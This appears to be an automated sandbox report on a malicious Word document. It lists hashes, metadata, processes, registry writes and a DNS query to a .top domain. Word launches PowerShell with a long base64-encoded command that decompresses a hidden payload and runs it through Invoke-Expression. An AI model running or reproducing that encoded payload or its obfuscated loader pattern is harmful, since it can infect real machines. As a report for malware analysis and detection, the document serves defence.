File name: | 65a7b98c9dc7f4c4c46e82c650acc2162091c857d5197109dd02268fe384aef6 |
Full analysis: | https://app.any.run/tasks/ae2a0940-5c9e-432e-8403-1d48830ddd56 |
Verdict: | Malicious activity |
Analysis date: | July 11, 2019, 18:28:31 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: uemmsivpyyasncj, Subject: khxkncyejwygihhxmrezzswcei, Comments: ntlbfkzdeunxrghdwkph, Template: Normal, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 25 22:21:00 2018, Last Saved Time/Date: Thu Jul 4 04:59:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
MD5: | 7CD26A148C9BA0D921E27663EE102E74 |
SHA1: | D15232E1F889C35BEC493E8579002B8E99C763D6 |
SHA256: | 65A7B98C9DC7F4C4C46E82C650ACC2162091C857D5197109DD02268FE384AEF6 |
SSDEEP: | 768:KvNN/hM1OSNONdPpdtTnmxFk3o0q027+yx5WJrx9GKeS6UG7Xzrt63ye3MkyPE1N:K1N5k7O/m2Bix5yt97eS6b7tmypJg/r |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: |
|
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 1 |
Paragraphs: | 1 |
Lines: | 1 |
Bytes: | 22528 |
Company: | - |
Manager: | - |
CodePage: | Windows Cyrillic |
Security: | None |
Characters: | 1 |
Words: | - |
Pages: | 1 |
ModifyDate: | 2019:07:04 03:59:00 |
CreateDate: | 2018:04:25 21:21:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal |
Comments: | ntlbfkzdeunxrghdwkph |
Keywords: | - |
Author: | - |
Subject: | khxkncyejwygihhxmrezzswcei |
Title: | uemmsivpyyasncj |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
988 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\65a7b98c9dc7f4c4c46e82c650acc2162091c857d5197109dd02268fe384aef6.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2180 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Enco IAAoACAALgAoACcATgBFAFcAJwArACcALQBvAGIAJwArACcASgAnACsAJwBFAGMAVAAnACkAIAAgAFMAWQBTAHQARQBNAGAALgBpAG8AYAAuAGMATwBtAFAAcgBgAEUAYABzAFMAaQBPAGAATgAuAGQARQBgAEYAbABhAFQAZQBgAFMAdAByAGUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoAZgBSAG8AbQBCAEEAcwBlADYANABzAFQAUgBpAG4ARwAoACcAUgBZAC8AQgBUAG8ATgBBAEcASQBUAHYASgByADcARABIAGoAQQBMAHcAUwA2AEoAWQBxAHcAUQBZAHIAUgBVAFEAbQBKAG8AVQA2AGsAZQAxAEsAUQBMAC8AUwBuAGIAQQByAHUAeQAyADEASQBsAHYATAB1AFkAMQBQAFkAeQBjADUAbQBaAGYASwBPAHgAVgB6ADYAOABmAGQAdwBpAEQAKwBGAGcAbgBjAHgASwA3AEcAcABCAE8AcABuAEgAOQBNAG4AVABvAE4AbwA1AFcAdwBtADEAcQBIAG4ARwBDAGoARAB4AEIAegBhADEAUQA4AEgARQBCAFAAYgBRAHAANwBtAGQAMwBjADIAWABIAHQARgB4AGgAVQAwAE0AegBZAEQAMwBsAHEAdwBoAFYAZABoAEEARQBTAHoAaQBCAFcAawBnAFcAWQB5AGUARwBVAFMAeABxACsAMgAyAE0AMwAvAHkAOABEAFAAeQBjAEsANgBVAGMAQwB4AHIAWAA5AEoAVgB4AFEAdABHADYANQB3AHYASwBWAEYAYwBXAEsAegA1AHMAaABvAGgATgAwAFQAawA0AHIANwB3AGMAbAA3AGUAawBJADMARQBSAEkAcQBDAEsAUgAxAGYAWQBNAFAATgBlAEEAMAAwAHoAWABVAHQAbgBJAHIAUwBqAHQAZwBiAFkAaABVADYAagBoAHUAdABxAHIALwBiAEEAeAByAHgAZQBSAE0AVgBuAFAAcABaAFcASQB4AFAAaABVAHYAMABmADkAUgB3AHcAdwB6AHAAZQB2ADgAZwBBAEQAVQBJAGUAMwB3AEYAdgBaAFEAOQAvAHoARgBDAGkAbgBFAFUAcQBCAHcATgBWAG8AQwB1ADcATwB1AGgAYgBhAEQAMgAzAFcAZAAvADYARgBLAHgAVgBKAEoAcAB6AFYATwBRADgAdABOAHgAWABtAEkANgBVAC8AcABwAFAATwBsAEoATgAyADcAWABwAFYAUwBsAGUAZAB0ADEANQAyAGUALwAnACkAIAAsAFsAcwBZAHMAVABlAG0ALgBpAG8ALgBjAE8ATQBwAFIAZQBTAHMAaQBPAE4ALgBDAG8AbQBwAHIARQBTAFMASQBPAE4AbQBPAGQAZQBdADoAOgBEAEUAQwBvAG0AcAByAGUAUwBTACAAKQB8ACYAKAAnAGYAJwArACcAbwByAGUAJwArACcAYQBjAEgAJwApAHsAIAAmACgAJwBOAEUAVwAtAG8AYgAnACsAJwBKACcAKwAnAEUAYwBUACcAKQAgACAAaQBgAG8ALgBgAFMAYABUAHIAZQBhAG0AUgBlAGEAZABlAFIAKAAkAF8ALABbAHMAeQBTAFQAZQBtAC4AVABFAHgAVAAuAEUATgBjAG8AZABJAG4ARwBdADoAOgBhAHMAQwBpAGkAKQAgAH0AfAAuACgAJwBGAG8AcgBFAGEAJwArACcAQwAnACsAJwBIACcAKQB7ACQAXwAuAHIAZQBhAEQAdABvAGUATgBkACgAKQAgAH0AIAApACAAfAAuACgAJwBJACcAKwAnAGUAeAAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | write | Name: | zi9 |
Value: 7A693900DC030000010000000000000000000000 | |||
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: Off | |||
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
Operation: | write | Name: | 1033 |
Value: On | |||
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
Operation: | write | Name: | WORDFiles |
Value: 1324023838 | |||
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
Operation: | write | Name: | ProductFiles |
Value: 1324023952 | |||
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
Operation: | write | Name: | ProductFiles |
Value: 1324023953 | |||
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
Operation: | write | Name: | MTTT |
Value: DC030000F245047B1638D50100000000 | |||
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | write | Name: | #k9 |
Value: 236B3900DC03000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
Operation: | delete value | Name: | #k9 |
Value: 236B3900DC03000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
(PID) Process: | (988) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 0 |
PID | Process | Filename | Type | |
---|---|---|---|---|
988 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRD9FA.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2180 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CS0SI44VKH0FI777OC9.temp | — | |
MD5:— | SHA256:— | |||
2180 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:E4D9C442DD447A8FA05F9CFE88FCBB69 | SHA256:EDD7D7597C6C79A1DFD3229A1FA23433329B1D8399EB558623FFF948D3BB4036 | |||
988 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:51D7E7D99167CC1BD7CB1B7CB431A0A9 | SHA256:25DBAB6DC2DB84F32583B7F9CE53B731AD34571B1550E65E76D6C9F6BCA27BAD | |||
2180 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFce3ce.TMP | binary | |
MD5:E4D9C442DD447A8FA05F9CFE88FCBB69 | SHA256:EDD7D7597C6C79A1DFD3229A1FA23433329B1D8399EB558623FFF948D3BB4036 | |||
988 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$a7b98c9dc7f4c4c46e82c650acc2162091c857d5197109dd02268fe384aef6.doc | pgc | |
MD5:FF605CBE1FDA69B3E1DC731C2D9A1B36 | SHA256:759B2EF51B619423038224D67C55A16F958635E3B028D62327DCD08C239DD53A | |||
988 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:51A97CED1697427A0CE896AACCA323A9 | SHA256:30546F9222C1F2E1FE850450A2B63161600DD3C26F97D313C73E3A72F0275532 |
Domain | IP | Reputation |
---|---|---|
xmagnoliarhoda.top |
| unknown |
PID | Process | Class | Message |
---|---|---|---|
— | — | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |